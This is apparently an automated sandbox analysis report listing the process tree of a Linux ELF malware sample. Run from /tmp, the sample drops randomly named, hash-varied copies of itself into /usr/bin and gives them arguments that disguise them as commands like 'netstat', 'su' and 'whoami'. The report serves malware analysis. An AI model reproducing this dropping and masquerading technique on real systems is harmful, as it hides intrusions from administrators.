Analysis Process: Di1p3oLnDb.elf PID: 6257, Parent PID: 6225

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6258, Parent PID: 6257

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: qhknhggmjf PID: 6258, Parent PID: 6257

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/usr/bin/qhknhggmjf
Arguments:	/usr/bin/qhknhggmjf "sleep 1" 6225
File size:	548627 bytes
MD5 hash:	7cd491e3750c0e09a84213102078562c

Chronological Activities

Analysis Process: qhknhggmjf PID: 6261, Parent PID: 6258

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/usr/bin/qhknhggmjf
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	7cd491e3750c0e09a84213102078562c

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6259, Parent PID: 6225

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6260, Parent PID: 6259

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: qhknhggmjf PID: 6260, Parent PID: 6259

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/usr/bin/qhknhggmjf
Arguments:	/usr/bin/qhknhggmjf "netstat -an" 6225
File size:	548627 bytes
MD5 hash:	7cd491e3750c0e09a84213102078562c

Chronological Activities

Analysis Process: qhknhggmjf PID: 6264, Parent PID: 6260

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/usr/bin/qhknhggmjf
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	7cd491e3750c0e09a84213102078562c

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6262, Parent PID: 6225

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6263, Parent PID: 6262

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: qhknhggmjf PID: 6263, Parent PID: 6262

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/usr/bin/qhknhggmjf
Arguments:	/usr/bin/qhknhggmjf "netstat -an" 6225
File size:	548627 bytes
MD5 hash:	7cd491e3750c0e09a84213102078562c

Chronological Activities

Analysis Process: qhknhggmjf PID: 6268, Parent PID: 6263

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/usr/bin/qhknhggmjf
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	7cd491e3750c0e09a84213102078562c

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6265, Parent PID: 6225

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6266, Parent PID: 6265

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: qhknhggmjf PID: 6266, Parent PID: 6265

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/usr/bin/qhknhggmjf
Arguments:	/usr/bin/qhknhggmjf su 6225
File size:	548627 bytes
MD5 hash:	7cd491e3750c0e09a84213102078562c

Chronological Activities

Analysis Process: qhknhggmjf PID: 6270, Parent PID: 6266

General

Start time:	13:40:07
Start date:	05/10/2022
Path:	/usr/bin/qhknhggmjf
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	7cd491e3750c0e09a84213102078562c

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6267, Parent PID: 6225

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6269, Parent PID: 6267

General

Start time:	13:40:06
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: qhknhggmjf PID: 6269, Parent PID: 6267

General

Start time:	13:40:07
Start date:	05/10/2022
Path:	/usr/bin/qhknhggmjf
Arguments:	/usr/bin/qhknhggmjf pwd 6225
File size:	548627 bytes
MD5 hash:	7cd491e3750c0e09a84213102078562c

Chronological Activities

Analysis Process: qhknhggmjf PID: 6273, Parent PID: 6269

General

Start time:	13:40:08
Start date:	05/10/2022
Path:	/usr/bin/qhknhggmjf
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	7cd491e3750c0e09a84213102078562c

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6275, Parent PID: 6225

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6276, Parent PID: 6275

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: ltaanxttrs PID: 6276, Parent PID: 6275

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/usr/bin/ltaanxttrs
Arguments:	/usr/bin/ltaanxttrs "netstat -antop" 6225
File size:	548627 bytes
MD5 hash:	e51ed28589d76c5f8fc2ad7ea9c1cc03

Chronological Activities

Analysis Process: ltaanxttrs PID: 6277, Parent PID: 6276

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/usr/bin/ltaanxttrs
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	e51ed28589d76c5f8fc2ad7ea9c1cc03

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6278, Parent PID: 6225

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6279, Parent PID: 6278

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: ltaanxttrs PID: 6279, Parent PID: 6278

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/usr/bin/ltaanxttrs
Arguments:	/usr/bin/ltaanxttrs su 6225
File size:	548627 bytes
MD5 hash:	e51ed28589d76c5f8fc2ad7ea9c1cc03

Chronological Activities

Analysis Process: ltaanxttrs PID: 6284, Parent PID: 6279

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/usr/bin/ltaanxttrs
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	e51ed28589d76c5f8fc2ad7ea9c1cc03

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6282, Parent PID: 6225

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6283, Parent PID: 6282

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: ltaanxttrs PID: 6283, Parent PID: 6282

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/usr/bin/ltaanxttrs
Arguments:	/usr/bin/ltaanxttrs pwd 6225
File size:	548627 bytes
MD5 hash:	e51ed28589d76c5f8fc2ad7ea9c1cc03

Chronological Activities

Analysis Process: ltaanxttrs PID: 6287, Parent PID: 6283

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/usr/bin/ltaanxttrs
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	e51ed28589d76c5f8fc2ad7ea9c1cc03

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6285, Parent PID: 6225

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6286, Parent PID: 6285

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: ltaanxttrs PID: 6286, Parent PID: 6285

General

Start time:	13:40:12
Start date:	05/10/2022
Path:	/usr/bin/ltaanxttrs
Arguments:	/usr/bin/ltaanxttrs "cd /etc" 6225
File size:	548627 bytes
MD5 hash:	e51ed28589d76c5f8fc2ad7ea9c1cc03

Chronological Activities

Analysis Process: ltaanxttrs PID: 6290, Parent PID: 6286

General

Start time:	13:40:13
Start date:	05/10/2022
Path:	/usr/bin/ltaanxttrs
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	e51ed28589d76c5f8fc2ad7ea9c1cc03

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6288, Parent PID: 6225

General

Start time:	13:40:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6289, Parent PID: 6288

General

Start time:	13:40:13
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: ltaanxttrs PID: 6289, Parent PID: 6288

General

Start time:	13:40:13
Start date:	05/10/2022
Path:	/usr/bin/ltaanxttrs
Arguments:	/usr/bin/ltaanxttrs sh 6225
File size:	548627 bytes
MD5 hash:	e51ed28589d76c5f8fc2ad7ea9c1cc03

Chronological Activities

Analysis Process: ltaanxttrs PID: 6291, Parent PID: 6289

General

Start time:	13:40:13
Start date:	05/10/2022
Path:	/usr/bin/ltaanxttrs
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	e51ed28589d76c5f8fc2ad7ea9c1cc03

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6294, Parent PID: 6225

General

Start time:	13:40:18
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6295, Parent PID: 6294

General

Start time:	13:40:18
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: kihierzlde PID: 6295, Parent PID: 6294

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/usr/bin/kihierzlde
Arguments:	/usr/bin/kihierzlde "cat resolv.conf" 6225
File size:	548627 bytes
MD5 hash:	3ae356a1821888903e278250f3a77d3b

Chronological Activities

Analysis Process: kihierzlde PID: 6297, Parent PID: 6295

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/usr/bin/kihierzlde
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	3ae356a1821888903e278250f3a77d3b

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6296, Parent PID: 6225

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6298, Parent PID: 6296

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: kihierzlde PID: 6298, Parent PID: 6296

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/usr/bin/kihierzlde
Arguments:	/usr/bin/kihierzlde gnome-terminal 6225
File size:	548627 bytes
MD5 hash:	3ae356a1821888903e278250f3a77d3b

Chronological Activities

Analysis Process: kihierzlde PID: 6301, Parent PID: 6298

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/usr/bin/kihierzlde
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	3ae356a1821888903e278250f3a77d3b

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6299, Parent PID: 6225

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6300, Parent PID: 6299

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: kihierzlde PID: 6300, Parent PID: 6299

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/usr/bin/kihierzlde
Arguments:	/usr/bin/kihierzlde who 6225
File size:	548627 bytes
MD5 hash:	3ae356a1821888903e278250f3a77d3b

Chronological Activities

Analysis Process: kihierzlde PID: 6306, Parent PID: 6300

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/usr/bin/kihierzlde
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	3ae356a1821888903e278250f3a77d3b

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6302, Parent PID: 6225

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6303, Parent PID: 6302

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: kihierzlde PID: 6303, Parent PID: 6302

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/usr/bin/kihierzlde
Arguments:	/usr/bin/kihierzlde ifconfig 6225
File size:	548627 bytes
MD5 hash:	3ae356a1821888903e278250f3a77d3b

Chronological Activities

Analysis Process: kihierzlde PID: 6307, Parent PID: 6303

General

Start time:	13:40:20
Start date:	05/10/2022
Path:	/usr/bin/kihierzlde
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	3ae356a1821888903e278250f3a77d3b

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6304, Parent PID: 6225

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6305, Parent PID: 6304

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: kihierzlde PID: 6305, Parent PID: 6304

General

Start time:	13:40:19
Start date:	05/10/2022
Path:	/usr/bin/kihierzlde
Arguments:	/usr/bin/kihierzlde whoami 6225
File size:	548627 bytes
MD5 hash:	3ae356a1821888903e278250f3a77d3b

Chronological Activities

Analysis Process: kihierzlde PID: 6308, Parent PID: 6305

General

Start time:	13:40:20
Start date:	05/10/2022
Path:	/usr/bin/kihierzlde
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	3ae356a1821888903e278250f3a77d3b

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6311, Parent PID: 6225

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6312, Parent PID: 6311

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: thgxtutpuw PID: 6312, Parent PID: 6311

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/usr/bin/thgxtutpuw
Arguments:	/usr/bin/thgxtutpuw "netstat -antop" 6225
File size:	548627 bytes
MD5 hash:	dc66ac7ec93e0ec52d5b4c1039769dd1

Chronological Activities

Analysis Process: thgxtutpuw PID: 6313, Parent PID: 6312

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/usr/bin/thgxtutpuw
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	dc66ac7ec93e0ec52d5b4c1039769dd1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6314, Parent PID: 6225

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6315, Parent PID: 6314

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: thgxtutpuw PID: 6315, Parent PID: 6314

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/usr/bin/thgxtutpuw
Arguments:	/usr/bin/thgxtutpuw "echo \"find\"" 6225
File size:	548627 bytes
MD5 hash:	dc66ac7ec93e0ec52d5b4c1039769dd1

Chronological Activities

Analysis Process: thgxtutpuw PID: 6318, Parent PID: 6315

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/usr/bin/thgxtutpuw
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	dc66ac7ec93e0ec52d5b4c1039769dd1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6316, Parent PID: 6225

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6317, Parent PID: 6316

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: thgxtutpuw PID: 6317, Parent PID: 6316

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/usr/bin/thgxtutpuw
Arguments:	/usr/bin/thgxtutpuw sh 6225
File size:	548627 bytes
MD5 hash:	dc66ac7ec93e0ec52d5b4c1039769dd1

Chronological Activities

Analysis Process: thgxtutpuw PID: 6324, Parent PID: 6317

General

Start time:	13:40:26
Start date:	05/10/2022
Path:	/usr/bin/thgxtutpuw
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	dc66ac7ec93e0ec52d5b4c1039769dd1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6319, Parent PID: 6225

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6320, Parent PID: 6319

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: thgxtutpuw PID: 6320, Parent PID: 6319

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/usr/bin/thgxtutpuw
Arguments:	/usr/bin/thgxtutpuw "cd /etc" 6225
File size:	548627 bytes
MD5 hash:	dc66ac7ec93e0ec52d5b4c1039769dd1

Chronological Activities

Analysis Process: thgxtutpuw PID: 6323, Parent PID: 6320

General

Start time:	13:40:26
Start date:	05/10/2022
Path:	/usr/bin/thgxtutpuw
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	dc66ac7ec93e0ec52d5b4c1039769dd1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6321, Parent PID: 6225

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6322, Parent PID: 6321

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: thgxtutpuw PID: 6322, Parent PID: 6321

General

Start time:	13:40:25
Start date:	05/10/2022
Path:	/usr/bin/thgxtutpuw
Arguments:	/usr/bin/thgxtutpuw who 6225
File size:	548627 bytes
MD5 hash:	dc66ac7ec93e0ec52d5b4c1039769dd1

Chronological Activities

Analysis Process: thgxtutpuw PID: 6325, Parent PID: 6322

General

Start time:	13:40:26
Start date:	05/10/2022
Path:	/usr/bin/thgxtutpuw
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	dc66ac7ec93e0ec52d5b4c1039769dd1

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6328, Parent PID: 6225

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6329, Parent PID: 6328

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: dwfhzeeizt PID: 6329, Parent PID: 6328

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/usr/bin/dwfhzeeizt
Arguments:	/usr/bin/dwfhzeeizt top 6225
File size:	548627 bytes
MD5 hash:	2394c32c9bf33731ba0aea110fffaaf0

Chronological Activities

Analysis Process: dwfhzeeizt PID: 6330, Parent PID: 6329

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/usr/bin/dwfhzeeizt
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	2394c32c9bf33731ba0aea110fffaaf0

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6331, Parent PID: 6225

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6332, Parent PID: 6331

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: dwfhzeeizt PID: 6332, Parent PID: 6331

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/usr/bin/dwfhzeeizt
Arguments:	/usr/bin/dwfhzeeizt ifconfig 6225
File size:	548627 bytes
MD5 hash:	2394c32c9bf33731ba0aea110fffaaf0

Chronological Activities

Analysis Process: dwfhzeeizt PID: 6335, Parent PID: 6332

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/usr/bin/dwfhzeeizt
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	2394c32c9bf33731ba0aea110fffaaf0

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6333, Parent PID: 6225

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6334, Parent PID: 6333

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: dwfhzeeizt PID: 6334, Parent PID: 6333

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/usr/bin/dwfhzeeizt
Arguments:	/usr/bin/dwfhzeeizt "echo \"find\"" 6225
File size:	548627 bytes
MD5 hash:	2394c32c9bf33731ba0aea110fffaaf0

Chronological Activities

Analysis Process: dwfhzeeizt PID: 6338, Parent PID: 6334

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/usr/bin/dwfhzeeizt
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	2394c32c9bf33731ba0aea110fffaaf0

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6336, Parent PID: 6225

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6337, Parent PID: 6336

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: dwfhzeeizt PID: 6337, Parent PID: 6336

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/usr/bin/dwfhzeeizt
Arguments:	/usr/bin/dwfhzeeizt bash 6225
File size:	548627 bytes
MD5 hash:	2394c32c9bf33731ba0aea110fffaaf0

Chronological Activities

Analysis Process: dwfhzeeizt PID: 6341, Parent PID: 6337

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/usr/bin/dwfhzeeizt
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	2394c32c9bf33731ba0aea110fffaaf0

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6339, Parent PID: 6225

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6340, Parent PID: 6339

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: dwfhzeeizt PID: 6340, Parent PID: 6339

General

Start time:	13:40:31
Start date:	05/10/2022
Path:	/usr/bin/dwfhzeeizt
Arguments:	/usr/bin/dwfhzeeizt whoami 6225
File size:	548627 bytes
MD5 hash:	2394c32c9bf33731ba0aea110fffaaf0

Chronological Activities

Analysis Process: dwfhzeeizt PID: 6342, Parent PID: 6340

General

Start time:	13:40:32
Start date:	05/10/2022
Path:	/usr/bin/dwfhzeeizt
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	2394c32c9bf33731ba0aea110fffaaf0

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6345, Parent PID: 6225

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: Di1p3oLnDb.elf PID: 6346, Parent PID: 6345

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/tmp/Di1p3oLnDb.elf
Arguments:	n/a
File size:	548616 bytes
MD5 hash:	96671eab0913c0003c63f4d2c50318db

Chronological Activities

Analysis Process: xmnjiktnas PID: 6346, Parent PID: 6345

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/usr/bin/xmnjiktnas
Arguments:	/usr/bin/xmnjiktnas gnome-terminal 6225
File size:	548627 bytes
MD5 hash:	ddd43550bad564e41b77604693a62617

Chronological Activities

Analysis Process: xmnjiktnas PID: 6347, Parent PID: 6346

General

Start time:	13:40:37
Start date:	05/10/2022
Path:	/usr/bin/xmnjiktnas
Arguments:	n/a
File size:	548627 bytes
MD5 hash:	ddd43550bad564e41b77604693a62617

Chronological Activities

